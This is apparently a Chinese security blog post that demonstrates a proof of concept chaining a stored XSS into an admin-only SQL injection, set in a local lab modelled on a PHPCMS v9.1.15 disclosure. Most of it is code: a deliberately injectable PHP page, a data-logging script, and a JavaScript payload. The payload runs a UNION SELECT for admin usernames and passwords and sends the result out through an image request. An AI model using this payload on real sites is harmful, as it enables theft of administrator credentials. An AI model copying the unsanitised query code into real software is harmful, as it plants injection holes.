昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!
于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
其实我就是想说,我们只可以利用这个xss执行注入!
模拟注入漏洞代码
sqli.php
<?php @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略 $con = mysql_connect("localhost","root",""); if(!$con) {die('Could not connect: ' . mysql_error());} mysql_select_db("test",$con); $id = $_GET['xss']; $sql = "select id,realname from test where id="."$id"; $view = mysql_query($sql); $row = mysql_fetch_array($view); echo $row[id]."<br />"; echo $row[realname]."<br />"; ?>
mysql数据库:
database:test table:test、admin column:test.id、test.realname admin.id、admin.username、admin.password
get.php(获取的注入后数据截取)
<?php $file = fopen("data.txt","a"); fwrite($file,$_GET['get']); fclose($file); ?>
xsssqli.js(payload)
function addLoadEvent(func)//窗口打开加载多个函数 { var oldfunc=window.onload; //页面打开是加载方法 if(typeof(window.onload)!="function") { window.onload=func; } else { window.onload=function() { oldfunc(); func(); } } } function get_xsssqli() { var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin"; var ajax = null; if(window.XMLHttpRequest) { ajax = new XMLHttpRequest(); } else if(window.ActiveXObject) { ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本 } else { return; } ajax.open("GET", url, true); ajax.send(null); ajax.onreadystatechange = function() { if(ajax.readyState == 4 && ajax.status == 200) { var img = document.createElement("img"); img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText; document.body.appendChild(img); } } } addLoadEvent(get_xsssqli);
模拟xss漏洞
<html> <head> <title>use xss to sqli</title> </head> <body> <script src=http://127.0.0.1/xss/get.js ></script> </body> </html>
最后成功得到数据:
当然你也可以写个正则截获指定数据!